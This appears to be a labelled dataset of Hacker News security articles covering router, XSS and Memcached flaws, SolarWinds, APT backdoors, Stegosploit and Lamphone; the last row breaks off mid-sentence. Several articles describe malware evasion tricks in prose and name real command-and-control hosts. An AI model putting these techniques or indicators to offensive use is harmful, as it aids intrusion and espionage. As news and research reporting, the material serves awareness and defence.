Vulnerability in Hotel WiFi Network Exposes You to Hackers,https://thehackernews.com/2015/03/hacking-hotel-wifi-network.html,"There is no end to users problem when it comes to security. Everything is easily hackable — from home wireless routers to the large web servers that leak users' personal data into the world in one shot.

If you love to travel and move hotels to hotels, then you might be dependent on free Wi-Fi network to access the Internet. However, next time you need to be extra cautious before connecting to Hotel's Wi-Fi network, as it may expose you to hackers.

Security researchers have unearthed a critical flaw in routers that many hotel chains depend on for distributing Wi-Fi networks.

The security vulnerability could allow a hacker to infect guests with malware, steal or monitor personal data sent over the network, and even gain access to the hotel's keycard systems and reservation.

HACKING GUEST WIFI ROUTER
Several models of InnGate routers manufactured by ANTlabs, a Singapore firm, have a security weakness in the authentication mechanism of the firmware.

The security vulnerability (CVE-2015-0932), discovered by the security firm Cylance, gives hackers direct access to the root file system of ANTlabs's InnGate devices.

With root access, hackers could be able to read or write any files from or to the devices' file system respectively, including data that could be used to infect the devices of Wi-Fi users.

Researchers have found nearly 277 hotels, convention centers, and data centers across 29 countries that are affected by this security vulnerability. Although, the number could be much larger as the flaw has potential to impact Millions of users who gets on the hotel's network for free Wi-Fi access.

However, the security researchers found more than 100 vulnerable devices located in the United States, 35 devices in Singapore, 16 in the UK, and 11 in the United Arab Emirates.

Justin W. Clarke, a senior security researcher of the Cylance SPEAR (Sophisticated Penetration Exploitation and Research) team, says the vulnerability also gives the attacker access to a computer owned by the operating organization.

THE VULNERABILITY GETS WORSE
In some cases, researchers found the InnGate devices were configured to communicate with a Property Management Systems (PMS). This could also be leveraged to gain deeper access into a hotel's business network, allowing a hacker to identify guests and upcoming guests at a hotel and their room number.

Moreover, PMS is often integrated with the phone system, POS (point-of-sale) system for processing credit card transactions, as well as electronic keycard system for accessing doors to guest rooms at hotels.
So, this vulnerability could also potentially allow an attacker to access and exploit these hotel's systems.
""In cases where an (ANTlabs) InnGate device stores credentials to the PMS, an attacker could potentially gain full access to the PMS (Property Management Systems) itself,"" the researchers wrote in a blog post published Thursday.
HOW THE VULNERABILITY WORKS?
The flaw lies in an unauthenticated Rsync daemon running on TCP 873 used by the ANTlabs devices. The Rsync daemon is an extraordinarily versatile file copying tool widely used to backup file systems as it can automatically copy files from one location to another.

The Rsync daemon can be password-protected, but the ANTlabs device that uses it requires no authentication.

Once hackers have connected to the Rsync daemon, they are then able to read and/or write to the file system of the Linux-based operating system without any restrictions.

Due the widespread nature of the vulnerability, ANTlabs has rolled out a patch addressing CVE-2015-0932 with an alert about the critical flaw being issued by US-CERT.

This isn't first time when researchers have discovered this kind of attack targeting guests at Hotels, late last year Kaspersky Labs uncovered a hacking campaign, dubbed DarkHotel, targeting guests at five-star hotels in Asia and the US by subverting their Wi-Fi system.

",Vulnerability
Alibaba Marketplace Vulnerability Puts Millions Of Shoppers at Risk,https://thehackernews.com/2014/12/alibaba-aliexpress-vulnerability.html,"Alibaba Group has patched a major security vulnerability in one of its e-commerce portals that exposed account details of tens of millions of Merchants and shoppers to cyber criminals.

An Israeli application security firm, AppSec Labs, found a Cross site scripting (XSS) vulnerability in AliExpress, the company's English language e-commerce site that was found vulnerable to similar flaw a week ago that compromised personal information of Alibaba customers. The flaw was fixed shortly after Cybermoon security firm disclosed it to Alibaba.

AliExpress is an online marketplace owned by Chinese E-Commerce giant Alibaba.com, also known as Google of China. The company serves more than 300 Million active users from more than 200 countries including the U.S., Russia and Brazil. But the critical vulnerability found by the researcher could allow an attacker to hijack merchant's account.

Using AliExpress XSS vulnerability an attacker can inject any malicious payload script as value into the message parameter, and when the seller will browse to the message center in AliExpress website using his account, the malicious script will be executed on his browser. XSS Payload can be lead to several attacks such as perform actions on behalf of a seller, phishing attacks, steal the victim's sessions identifier, etc.

The vulnerability was discovered by Barak Tawily, a 21 year old Application security researcher at AppSec Labs. Exploiting the vulnerability allowed him to change product prices, delete goods, and even close the merchant's shop on the site.

Barak has also provided a Proof-of-Concept (PoC) video to The Hacker News via an email, explaining the full hack attack on AliExpress website, which you can watch below:
""Skilled hacker might exploit this vulnerability and perform ranged attack by sending malicious messages to all AliExpress sellers and will cause a huge damage to AliExpress website,"" Tawily said.
AppSec Labs immediately reported the vulnerability to the the Chinese e-commerce giant, Alibaba team through emails and phone calls, providing full details of the flaw. The company didn't respond immediately, but last week, when AppSec Labs spoke to the Israeli media about the issue, Alibaba contacted the security firm.

VIDEO DEMO

The vulnerability has now been patched by the company and it is urging its customers to update their accounts immediately.

ALIBABA RESPONSE
""We are aware of the issue and took immediate steps to assess and remedy the situation,"" said Candice Huang, manager of International Corporate Affairs for Alibaba Group. ""We have already closed the potential vulnerability and we will continue to closely monitor the situation. The security and privacy of our customers is our highest priority and we will do everything we can to continue to ensure a secure trading environment on our platforms.""

",Vulnerability
Hacker reported vulnerability in Kaspersky website; Demonstrated malware spreading technique,https://thehackernews.com/2013/08/hacker-reported-vulnerability-in.html,"The cyber Security Analyst 'Ebrahim Hegazy' (@Zigoo0) Consultant at Q-CERT has found an ""Unvalidated Redirection Vulnerability"" in the website of the giant security solutions vendor ""Kaspersky"".

Ebrahim, who found a SQL Injection in ""Avira"" website last month, this time he found a Unvalidated Redirection Vulnerability that could be exploited for various purposes such as:
Cloned websites (Phishing pages)
It could also be used by Black Hats for Malware spreading
In the specific case what is very striking is that the link usable for the attacks is originated by a security firm like Kaspersky with serious consequences.

Would you trust a link from your security vendor? Absolutely Yes! But imagine your security vendor is asking you to download a malware!

To explain how dangerous the situation is when your security vendor is vulnerable, Ebrahim Hegazy sent me a video explaining the malware spreading scenario to simulate a Black Hat's exploiting Unvalidated Redirection Vulnerability in Kaspersky website to serve a malware.
""Since I'm working on Cyber security analysis, I've seen many methods of black-hats to spread links, maybe this link is for Exploit kits, Java Applet, flash exploits, or maybe a direct link to their EXE file. Let's take an example on the Facebook spreading techniques of the attackers, you may notice that ""Mediafire"" website was used lately in wide Malware spreading attack on Facebook.com,Which caused a wide infection, as the infected user will start to send links from Mediafire.com to his friends and since ""Mediafire"" is a trusted website/source for users so they simply click it and download the file!
But what if the links are coming from a very well known Security solutions vendor such as Kaspersky? For sure people will trust the links. So, through ""Unvalidated Redirection Vulnerability"" in Kaspersky, attackers will be able to spread a link coming from Kaspersky.com but when the user clicks on that link, he will get redirected to the attacker's website which would download at Malware on their machines or even download a ""Rogue Antivirus"" to steal financial information such as credit card information!"" explained Ebrahim Hegazy.

After the researcher reported the vulnerability to Kaspersky team, it took about 2 months to fix the vulnerability, it is really a long time considering that if a hacker had found this flaw before Hagazy he could spread links using Kaspersky.com.
The consequences of unfixing of such vulnerability are critical
Wide infection - since the redirection is coming from a trusted source especially if the attacker registered a domain name similar to Kaspersky.com
Very bad reputation for Kaspersky company.
Your most trusted resource ""Your Antivirus"" will be your worst enemy! Would you trust anything else!
And many other consequences. The vulnerability was reported to Kaspersky web-team and is now fixed.

",Malware
Chinese Hackers Attacking Military Organizations With New Backdoor,https://thehackernews.com/2021/04/chinese-hackers-attacking-military.html,"Bad actors with suspected ties to China have been behind a wide-ranging cyberespionage campaign targeting military organizations in Southeast Asia for nearly two years, according to new research.
Attributing the attacks to a threat actor dubbed ""Naikon APT,"" cybersecurity firm Bitdefender laid out the ever-changing tactics, techniques, and procedures adopted by the group, including weaving new backdoors named ""Nebulae"" and ""RainyDay"" into their data-stealing missions. The malicious activity is said to have been conducted between June 2019 and March 2021.
""In the beginning of the operation the threat actors used Aria-Body loader and Nebulae as the first stage of the attack,"" the researchers said. ""Starting with September 2020, the threat actors included the RainyDay backdoor in their toolkit. The purpose of this operation was cyberespionage and data theft.""
Naikon (aka Override Panda, Lotus Panda, or Hellsing) has a track record of targeting government entities in the Asia-Pacific (APAC) region in search of geopolitical intelligence. While initially assumed to have gone off the radar since first exposed in 2015, evidence emerged to the contrary last May when the adversary was spotted using a new backdoor called ""Aria-Body"" to stealthily break into networks and leverage the compromised infrastructure as a command-and-control (C2) server to launch additional attacks against other organizations.
The new wave of attacks identified by Bitdefender employed RainyDay as the primary backdoor, with the actors using it to conduct reconnaissance, deliver additional payloads, perform lateral movement across the network, and exfiltrate sensitive information. The backdoor was executed by means of a technique known as DLL side-loading, which refers to the tried-and-tested method of loading malicious DLLs in an attempt to hijack the execution flow of a legitimate program like Outlook Item Finder.
As a backup strategy, the malware also installed a second implant called Nebulae to amass system information, carry out file operations, and download and upload arbitrary files from and to the C2 server. ""The second backdoor [...] is supposedly used as a measure of precaution to not lose the persistence in case any signs of infections get detected,"" the researchers said.
Other tools deployed by the RainyDay backdoor include a file collector that picks up recently changed files with specific extensions and uploads them to Dropbox, a credential harvester, and various networking utilities such as NetBIOS scanners and proxies.
What's more, Bitdefender said RainyDay is likely the same malware that Kaspersky disclosed earlier this month, citing similarities in the functionality and the use of DLL side-loading to achieve execution. Called ""FoundCore,"" the backdoor was attributed to a Chinese-speaking actor named Cycldek as part of a cyberespionage campaign directed against government and military organizations in Vietnam.

",Malware
US Sanctions Russia and Expels 10 Diplomats Over SolarWinds Cyberattack,https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html,"The U.S. and U.K. on Thursday formally attributed the supply chain attack of IT infrastructure management company SolarWinds with ""high confidence"" to government operatives working for Russia's Foreign Intelligence Service (SVR).
""Russia's pattern of malign behaviour around the world – whether in cyberspace, in election interference or in the aggressive operations of their intelligence services – demonstrates that Russia remains the most acute threat to the U.K.'s national and collective security,"" the U.K. government said in a statement.
To that effect, the U.S. Department of the Treasury has imposed sweeping sanctions against Russia for ""undermining the conduct of free and fair elections and democratic institutions"" in the U.S. and for its role in facilitating the sprawling SolarWinds hack, while also barring six technology companies in the country that provide support to the cyber program run by Russian Intelligence Services.
The companies include ERA Technopolis, Pasit, Federal State Autonomous Scientific Establishment Scientific Research Institute Specialized Security Computing Devices and Automation (SVA), Neobit, Advanced System Technology, and Pozitiv Teknolodzhiz (Positive Technologies), the last three of which are IT security firms whose customers are said to include the Russian Ministry of Defense, SVR, and Russia's Federal Security Service (FSB).
""As a company, we deny the groundless accusations made by the U.S. Department of the Treasury,"" Positive Technologies said in a statement. ""In the almost 20 years we have been operating there has been no evidence of the results of Positive Technologies’ research being used in violation of the principles of business transparency and the ethical exchange of information with the professional information security community.""
In addition, the Biden administration is also expelling ten members of Russia's diplomatic mission in Washington, D.C., including representatives of its intelligence services.
""The scope and scale of this compromise combined with Russia's history of carrying out reckless and disruptive cyber operations makes it a national security concern,"" the Treasury Department said. ""The SVR has put at risk the global technology supply chain by allowing malware to be installed on the machines of tens of thousands of SolarWinds' customers.""
For its part, Moscow had previously denied involvement in the broad-scope SolarWinds campaign, stating ""it does not conduct offensive operations in the cyber domain.""
The intrusions came to light in December 2020 when FireEye and other cybersecurity firms revealed that the operators behind the espionage campaign managed to compromise the software build and code signing infrastructure of SolarWinds Orion platform as early as October 2019 to deliver the Sunburst backdoor with the goal of gathering sensitive information.
Up to 18,000 SolarWinds customers are believed to have received the trojanized Orion update, although the attackers carefully selected their targets, opting to escalate the attacks only in a handful of cases by deploying Teardrop malware based on an initial reconnaissance of the target environment for high-value accounts and assets.
The adversary's compromise of the SolarWinds software supply chain is said to have given it the ability to remotely spy or potentially disrupt more than 16,000 computer systems worldwide, according to the executive order issued by the U.S. government.
Besides infiltrating the networks of Microsoft, FireEye, Malwarebytes, and Mimecast, the attackers are also said to have used SolarWinds as a stepping stone to breaching several U.S. agencies such as the National Aeronautics and Space Administration (NASA), the Federal Aviation Administration (FAA), and the Departments of State, Justice, Commerce, Homeland Security, Energy, Treasury, and the National Institutes of Health.
The SVR actor is also known by other names such as APT29, Cozy Bear, and The Dukes, with the threat group being tracked under different monikers, including UNC2452 (FireEye), SolarStorm (Palo Alto Unit 42), StellarParticle (CrowdStrike), Dark Halo (Volexity), and Nobelium (Microsoft).
Furthermore, the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI) have jointly released an advisory, warning businesses of active exploitation of five publicly known vulnerabilities by APT29 to gain initial footholds into victim devices and networks —
CVE-2018-13379 - Fortinet FortiGate VPN
CVE-2019-9670 - Synacor Zimbra Collaboration Suite
CVE-2019-11510 - Pulse Secure Pulse Connect Secure VPN
CVE-2019-19781 - Citrix Application Delivery Controller and Gateway
CVE-2020-4006 - VMware Workspace ONE Access
In a statement shared with The Hacker News, Pulse Secure said the issue identified by the NSA concerns a flaw that was patched on legacy deployments in April 2019, and that ""customers who followed the instructions in a Pulse Secure security advisory issued at that time have properly protected their systems and mitigated the threat.""
""We see what Russia is doing to undermine our democracies,"" said U.K. Foreign Secretary Dominic Raab. ""The U.K. and U.S. are calling out Russia's malicious behaviour, to enable our international partners and businesses at home to better defend and prepare themselves against this kind of action.""

",Cyber_Attack
Spies Can Listen to Your Conversations by Watching a Light Bulb in the Room,https://thehackernews.com/2020/06/lamphone-light-bulb-spy.html,"You might not believe it, but it's possible to spy on secret conversations happening in a room from a nearby remote location just by observing a light bulb hanging in there—visible from a window—and measuring the amount of light it emits.

A team of cybersecurity researchers has developed and demonstrated a novel side-channel attacking technique that can be applied by eavesdroppers to recover full sound from a victim's room that contains an overhead hanging bulb.

The findings were published in a new paper by a team of academics—Ben Nassi, Yaron Pirutin, Adi Shamir, Yuval Elovici and Boris Zadov—from the Israeli's Ben-Gurion University of the Negev and the Weizmann Institute of Science, which will also be presented at the Black Hat USA 2020 conference later this August.

The technique for long-distance eavesdropping, called ""Lamphone,"" works by capturing minuscule sound waves optically through an electro-optical sensor directed at the bulb and using it to recover speech and recognize music.

How Does the 'Lamphone Attack' Work?

The central premise of Lamphone hinges on detecting vibrations from hanging bulbs as a result of air pressure fluctuations that occur naturally when sound waves hit their surfaces and measuring the tiny changes in the bulb's output that those small vibrations trigger to pick up snippets of conversations and identify music.

""We assume a victim located inside a room/office that contains a hanging light bulb,"" the researchers said. ""We consider an eavesdropper a malicious entity that is interested in spying on the victim in order to capture the victim's conversations and make use of the information provided in the conversation (e.g., stealing the victim's credit card number, performing extortion based on private information revealed by the victim, etc.).""


To achieve this, the setup consists of a telescope to provide a close-up view of the room containing the bulb from a distance, an electro-optical sensor that's mounted on the telescope to convert light into an electrical current, an analog-to-digital converter to transform the sensor output to a digital signal, and a laptop to process incoming optical signals and output the recovered sound data.

""Lamphone leverages the advantages of the Visual Microphone (it is passive) and laser microphone (it can be applied in real-time) methods of recovering speech and singing,"" the researchers said.

Lamphone Attack Demonstration

The result? The researchers recovered an audible extract of President Donald Trump's speech that could be transcribed by Google's Speech to Text API. They also reproduced a recording of the Beatles' ""Let It Be"" and Coldplay's ""Clocks"" that were clear enough to be recognized by song identification services like Shazam and SoundHound.


""We show how fluctuations in the air pressure on the surface of the hanging bulb (in response to sound), which cause the bulb to vibrate very slightly (a millidegree vibration), can be exploited by eavesdroppers to recover speech and singing, passively, externally, and in real-time,"" the researchers outlined.

""We analyze a hanging bulb's response to sound via an electro-optical sensor and learn how to isolate the audio signal from the optical signal. Based on our analysis, we develop an algorithm to recover sound from the optical measurements obtained from the vibrations of a light bulb and captured by the electro-optical sensor.""

The development adds to a growing list of sophisticated techniques that can be leveraged to snoop on unsuspecting users and extract acoustic information from devices intended to function as microphones, such as motion sensors, speakers, vibration devices, magnetic hard disk drives, and even wooden tables.

From How Far An Attacker Can Spy On Using the Lamphone Attack?

The new approach is effective from great distances — starting with at least 25 meters away from the target using a telescope and a $400 electro-optical sensor, and can further be amplified with high-range equipment.


Lamphone side-channel attacks can be applied in real-time scenarios, unlike previous eavesdropping setups such as Visual Microphone, which are hampered by lengthy processing times to even recover a few seconds of speech.

Moreover, since it's an entirely external scenario, the attack doesn't require a malicious actor to compromise any victim's device.

Given the effectiveness of the attack relies heavily on the light output, the countermeasures proposed by the paper's authors involve reducing the amount of light captured by the electro-optical sensor by using a weaker bulb and a curtain wall to limit the light emitted from a room.

The researchers also suggest using a heavier bulb to minimize vibrations caused by changes in air pressure.

",Cyber_Attack
Here's the List of Top 10 Big Tech Companies where Ashley Madison is very Popular,https://thehackernews.com/2015/08/ashley-madison-hacked_26.html,"Cheaters Exposed!

Would it be the Impact Team or a woman ex-employee who worked for Avid Life Media (as per John McAfee claims), the hackers that breached the cheater's dating website Ashley Madison has made the world aware of a lot of unfaithful people.

The data crunching firm Dadaviz has analysed the leaked information of the Ashley Madison website and revealed that thousands of the cheating website customers are from the large tech companies.

Among those large tech companies, IBM and HP have the highest number of employees using the online infidelity website. Also, the list included Cisco, Apple, Intel and Microsoft employees.

Top 10 Big Tech Companies that Love to Cheat

Here is the list of Top 10 Big Tech Companies where Ashley Madison is the most popular:
IBM
HP
Cisco
Apple
Intel
Microsoft
Samsung
SAP
Oracle
Qualcomm

Dadaviz found that one-third (34 percent) of all the Ashley Madison accounts were fake. Of course, there would be many people who might have shared fake information on the cheating website, including fake email addresses, fake locations and more.

24 Million Real Ashley Madison Accounts

However, out of 36.4 Million email addresses used on the website, over 24 Million addresses were real email accounts, which belongs to IBM, HP, Cisco, Apple and so on.

Until now, Ashley Madison hack has unmasked many hidden secrets.

Last week, hackers behind the Ashley Madison hack leaked 10GB of its customers private data online, which was shortly followed by another 20GB of company's internal data leak.

The leaked information also exposed a massive amount of e-mail from Ashley Madison parent company's Avid Life Media CEO Noel Biderman.

Now, let's see what's more to come!

",Data_Breaches
How to Hack a Computer Using Just An Image,https://thehackernews.com/2015/06/Stegosploit-malware.html,"Next time when someone sends you a photo of a cute cat or a hot chick than be careful before you click on the image to view — it might hack your machine.

Yes, the normal looking images could hack your computers — thanks to a technique discovered by security researcher Saumil Shah from India.

Dubbed ""Stegosploit,"" the technique lets hackers hide malicious code inside the pixels of an image, hiding a malware exploit in plain sight to infect target victims.

Just look at the image and you are HACKED!

Shah demonstrated the technique during a talk titled, ""Stegosploit: Hacking With Pictures,"" he gave on Thursday at the Amsterdam hacking conference Hack In The Box.

According to Shah, ""a good exploit is one that is delivered in style.""

Keeping this in mind, Shah discovered a way to hide malicious code directly into an image, rather than hiding it in email attachments, PDFs or other types of files that are typically used to deliver and spread malicious exploits.

To do so, Shah used Steganography — a technique of hiding messages and contents within a digital graphic image, making the messages impossible to spot with the naked eye.

Here's How to Hack digital pictures to send malicious exploits:

Until now Steganography is used to communicate secretly with each other by disguising a message in a way that anyone intercepting the communication will not realise it's true purpose.

Steganography is also being used by terrorist organisations to communicate securely with each other by sending messages to image and video files, due to which NSA officials are forced to watch Porn and much porn.

However in this case, instead of secret messages, the malicious code or exploit is encoded inside the image's pixels, which is then decoded using an HTML 5 Canvas element that allows for dynamic, scriptable rendering of images.

The ""Secret Sauce"" behind Stegosploit — this is what Shah calls it.

""I don't need to host a blog,"" Shah told Motherboard, ""I don't need to host a website at all. I don't even need to register a domain. I can [just] take an image, upload it somewhere and if I just point you toward that image, and you load this image in a browser, it will detonate.""
The malicious code, dubbed IMAJS, is a combination of both image code as well as JavaScript hidden into a JPG or PNG image file. Shah hides the malicious code within the image's pixels, and unless somebody zoom a lot into it, the image looks just fine from the outside.

Video Demonstration:

Shah demonstrated to Lorenzo Franceschi of Motherboard exactly how his hack works. He used Franceschi's profile picture and then prepared a demonstration video using his picture as the scapegoat.

In the first video presentation, Shah shows a step by step process on how it is possible to hide malicious code inside an image file using steganography technique. You can watch the video given below:



In the second video, Shah shows how his Stegosploit actually works. His exploit works only when the target opens the image file on his or her web browser and clicks on the picture.

You are HACKED!

Once the image is clicked, the system's CPU shoots up to 100 percent usage, which indicates the exploit successfully worked. The malicious code IMAJS then sends the target machine's data back to the attacker, thereby creating a text file on the target computer that says — ""You are hacked!""



Shah also has programmed his malicious image to do more stealthy tasks, like downloading and installing spyware on victim's machine, as well as stealing sensitive data out of the victim's computer.

The bottom line here is:

You should not presume the image files as ""innocent"" anymore, as they can hide malicious code deep inside its pixels that could infect your computers.

Therefore, always make sure before you click on one.

Shah has been working on the research [PDF] during his spare time for almost five years, but he has not tested his technique on popular image sharing websites like Dropbox or Imgur. He also admitted that his method might not work everywhere.

",Malware
"Over 70,000 Memcached Servers Still Vulnerable to Remote Hacking",https://thehackernews.com/2017/07/memcached-vulnerabilities.html,"Nothing in this world is fully secure, from our borders to cyberspace. I know vulnerabilities are bad, but the worst part comes in when people just don't care to apply patches on time.

Late last year, Cisco's Talos intelligence and research group discovered three critical remote code execution (RCE) vulnerabilities in Memcached that exposed major websites including Facebook, Twitter, YouTube, Reddit, to hackers.

Memcached is a popular open-source and easily deployable distributed caching system that allows objects to be stored in memory.

The Memcached application has been designed to speed up dynamic web applications (for example php-based websites) by reducing stress on the database that helps administrators to increase performance and scale web applications.

It's been almost eight months since the Memcached developers have released patches for three critical RCE vulnerabilities (CVE-2016-8704, CVE-2016-8705 and CVE-2016-8706) but tens of thousands of servers running Memcached application are still vulnerable, allowing attackers to steal sensitive data remotely.

Researchers at Talos conducted Internet scans on two different occasions, one in late February and another in July, to find out how many servers are still running the vulnerable version of the Memcached application.

And the results are surprising...

Results from February Scan:


Total servers exposed on the Internet — 107,786
Servers still vulnerable — 85,121
Servers still vulnerable but require authentication — 23,707


And the top 5 countries with most vulnerable servers are the United States, followed by China, United Kingdom, France and Germany.

Results from July Scan:


Total servers exposed on the Internet — 106,001
servers still vulnerable — 73,403
Servers still vulnerable but require authentication — 18,012


After comparing results from both the Internet scans, researchers learned that only 2,958 servers found vulnerable in February scan had been patched before July scan, while the remaining are still left vulnerable to the remote hack.

Data Breach & Ransom Threats

This ignorance by organisations to apply patches on time is concerning, as Talos researchers warned that these vulnerable Memcached installations could be an easy target of ransomware attacks similar to the one that hit MongoDB databases in late December.

Although unlike MongoDB, Memcached is not a database, it ""can still contain sensitive information and disruption in the service availability would certainly lead to further disruptions on dependent services.""

The flaws in Memcached could allow hackers to replace cached content with their malicious one to deface the website, serve phishing pages, ransom threats, and malicious links to hijack victim's machine, placing hundreds of millions of online users at risk.

""With the recent spate of worm attacks leveraging vulnerabilities this should be a red flag for administrators around the world,"" the researchers concluded.

""If left unaddressed the vulnerabilities could be leveraged to impact organisations globally and affect business severely. It is highly recommended that these systems be patched immediately to help mitigate the risk to organisations.""

Customers and organisations are advised to apply the patch as soon as possible even to Memcached deployments in ""trusted"" environments, as attackers with existing access could target vulnerable servers to move laterally within those networks.

",Vulnerability
Terminator RAT became more sophisticated in recent APT attacks,https://thehackernews.com/2013/10/terminator-rat-became-more.html,"Advanced Persistent Threat (APT) is a term referring to targeted attacks on enterprises and other organizations and recently referred to what appeared to be nation-state intelligence agencies using cyber assaults for both conventional espionage and industrial espionage.

Advanced threats have targeted control systems in the past and these attacks use commercially available and custom-made advanced malware to steal information or perpetrate fraud.
Terminator RAT has been used against Tibetan and Uyghur activists before and while tracking attack against entities in Taiwan, the Cyber Security company FireEye Labs recently analyzed some new samples of 'Terminator RAT' (Remote Access Tool) that was sent via spear-phishing emails to targets in Taiwan.

A word document as an attachment was sent to victims, exploited a vulnerability in Microsoft Office (CVE-2012-0158), which subsequently drops a malware installer named ""DW20.exe"".

Sometimes the simplest techniques can foil the complex systems created by security firms and large enterprises to detect malicious programs and files. Lets see - What Evasion techniques this Advance version of Terminator RAT is using:

This executable will first create its working folders located at ""%UserProfile%\Microsoft"" and ""%AppData%\2019"", where it will store configurations and executable files (svchost_.exe and sss.exe).


Malware terminates and remove itself after installation. The malware will only run after reboot. This is one effective way to evade sandbox automatic analysis, as malicious activity will only reveal after a reboot.

The RAT (svchost_.exe) will collaborate with its relay (sss.exe) to communicate with the command and control server at liumingzhen.zapto.org / 123.51.208.69 and liumingzhen.myftp.org / 123.51.208.69.

This component plays the role as a network relay between the malware and the proxy server, by listening over port 8000.

This folder ""2019"" was then configured to be the new start up folder location by changing the registry ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startupdeter forensics investigation."" to deter forensics investigation by changing the startup location.

Also to deter file-based scanning that implements a maximum file size filter, by expanding the size of svchost_.exe to 40MB.

It is clear cybercrime is getting more organized and cybercriminals are becoming so much more sophisticated. Hackers are using stealth or advanced malware, usually to infiltrate hosts in networks and steal valuable data and APT attacks are increasingly becoming more sophisticated and harder to detect.

",Malware
"Nearly 18,000 SolarWinds Customers Installed Backdoored Software",https://thehackernews.com/2020/12/nearly-18000-solarwinds-customers.html,"SolarWinds, the enterprise monitoring software provider which found itself at the epicenter of the most consequential supply chain attacks, said as many as 18,000 of its high-profile customers might have installed a tainted version of its Orion products.
The acknowledgment comes as part of a new filing made by the company to the US Securities and Exchange Commission on Monday.
The Texas-based company serves more than 300,000 customers worldwide, including every branch of the US military and four-fifths of the Fortune 500 companies.
The ""incident was likely the result of a highly sophisticated, targeted and manual supply chain attack by an outside nation state,"" SolarWinds said in the regulatory disclosure, adding it ""currently believes the actual number of customers that may have had an installation of the Orion products that contained this vulnerability to be fewer than 18,000.""
The company also reiterated in its security advisory that besides 2019.4 HF 5 and 2020.2 versions of SolarWinds Orion Platform, no other versions of the monitoring software or other non-Orion products were impacted by the vulnerability.
Specifics regarding how the hackers penetrated SolarWinds' own network are still fuzzy, but the company noted in its filing that it was alerted to a compromise of its Microsoft Office 365 email and office productivity accounts that it's currently investigating to determine how long it existed and if the weakness was ""associated with the attack on its Orion software build system.""
Troublingly, according to a report from security researcher Vinoth Kumar, it also appears that a publicly-accessible SolarWinds GitHub repository was leaking FTP credentials of the domain ""downloads.solarwinds.com,"" thus allowing an attacker to potentially upload a malicious executable disguised as Orion software updates to the downloads portal. Even worse, the FTP server was protected by a trivial password.
Following Kumar's responsible disclosure last year, the company addressed the misconfiguration on November 22, 2019.
The development comes a day after cybersecurity firm FireEye said it identified a nine-month-long global intrusion campaign targeting public and private entities that introduce malicious code into legitimate software updates for SolarWinds' Orion software to break into the companies' networks and install a backdoor called SUNBURST (""SolarWinds.Orion.Core.BusinessLayer.dll"").
""The malicious DLL calls out to a remote network infrastructure using the domains avsvmcloud.com. to prepare possible second-stage payloads, move laterally in the organization, and compromise or exfiltrate data,"" Microsoft said in a write-up.
The US Department of Homeland Security was breached, as were the departments of Commerce and Treasury, Reuters reported yesterday. The espionage campaign also included the December 8 cyberattack on FireEye, although it's not immediately clear whether the intrusion and exfiltration was a direct result of a rogue SolarWinds update.
""The campaign demonstrates top-tier operational tradecraft and resourcing consistent with state-sponsored threat actors,"" said FireEye CEO Kevin Mandia. ""These compromises are not self-propagating; each of the attacks require meticulous planning and manual interaction.""
While the fallout caused by the hacking campaign is still unknown, fingers have been pointed at APT29, a hacking collective affiliated with the Russian foreign intelligence service. FireEye, which is tracking the campaign as ""UNC2452,"" has not linked the attack to Russia.
For its part, SolarWinds is expected to issue a second hotfix later today that replaces the vulnerable component and adds several extra security enhancements.
""The SUNBURST campaign represents a uniquely distressing intrusion event with implications for multiple industries and network operators,"" DomainTools' Senior Security Researcher, Joe Slowik, said.
""The ubiquity of SolarWinds in large networks, combined with the potentially long dwell time of intrusions facilitated by this compromise, mean victims of this campaign need not only recover their SolarWinds instance, but may need to perform widespread password resets, device recovery, and similar restoration activity to completely evict an intruder.""
""Through continuous monitoring of network traffic and an understanding of what hosts are communicating, defenders can leverage attacker weaknesses and dependencies to overcome these otherwise daunting challenges,"" he added.

",Malware
Google buys Online Malware Multi Scanner VirusTotal,https://thehackernews.com/2012/09/google-buys-online-malware-multi.html,"Google on Friday said it acquired online virus-scanning service, VirusTotal, a provider of a free service that detects computer viruses and other malicious software in files and websites.

VirusTotal, company based in Spain with only a handful of employees, performs the free service by pooling data from scores of ""antivirus engines, website scanners, file and URL analysis tools,"" according to its site.

Users only have to head to the online tool, select the file from their desktops, and the system is supposed to take care of the rest. The maximum file size currently supported by the service is 32MB.

In a blog post on Friday, VirusTotal reps asserted that the merger is good news for consumers and bad news for malware generators for the following two reasons:
The quality and power of our malware research tools will keep improving, most likely faster; and Google's infrastructure will ensure that our tools are always ready, right when you need them.
""Our goal is simple: to help keep you safe on the web,"" VirusTotal said in the post today. ""And we've worked hard to ensure that the services we offer continually improve. But as a small, resource-constrained company, that can sometimes be challenging. So we're delighted that Google, a long-time partner, has acquired VirusTotal.""
VirusTotal was set up in 2007 and uses over 40 different antivirus engines to scan files and URLs for malware for free.

Users can upload small files for checking, or just input a URL, to see if it's on a blacklist, and VirusTotal shares its results with other security vendors to allow them to beef up their defenses.

VirusTotal will continue to operate independently and maintain existing partnerships with other antivirus companies and security experts.

Neither Google nor VirusTotal have revealed any further plans about how this might affect Google services, but it is possible that VirusTotal's solutions could be integrated throughout Google Apps to protect users against malicious files shared through Gmail and other programs.

",Malware
New GPU-based Linux Rootkit and Keylogger with Excellent Stealth and Computing Power,https://thehackernews.com/2015/05/gpu-rootkit-linux-Keylogger.html,"The world of hacking has become more organized and reliable over recent years and so the techniques of hackers.

Nowadays, attackers use highly sophisticated tactics and often go to extraordinary lengths in order to mount an attack.

And there is something new to the list:

A team of developers has created not one, but two pieces of malware that run on an infected computer's graphics processor unit (GPU) instead of its central processor unit (CPU), in order to enhance their stealthiness and computational efficiency.

The two pieces of malware:
Jellyfish Rootkit for Linux operating system
Demon Keylogger

The source code of both the Jellyfish Rootkit and the Demon keylogger, which are described as proof-of-concepts malware, have been published on Github.

Until now, security researchers have discovered nasty malware running on the CPU and exploiting the GPU capabilities in an attempt to mine cryptocurrencies such as Bitcoins.

However, these two malware could operate without exploiting or modifying the processes in the operating system kernel, and this is why they do not trigger any suspicion that a system is infected and remain hidden.

JELLYFISH ROOTKIT

Jellyfish rootkit is a proof-of-concept malware code designed to show that running malware on GPUs is practically possible, as dedicated graphics cards have their processors and memory.

These types of rootkits could snoop on the CPU host memory through DMA (direct memory access), which allows hardware components to read the main system memory without going through the CPU, making such actions harder to detect.

The pseudo-anonymous developers describe their Jellyfish Rootkit as:

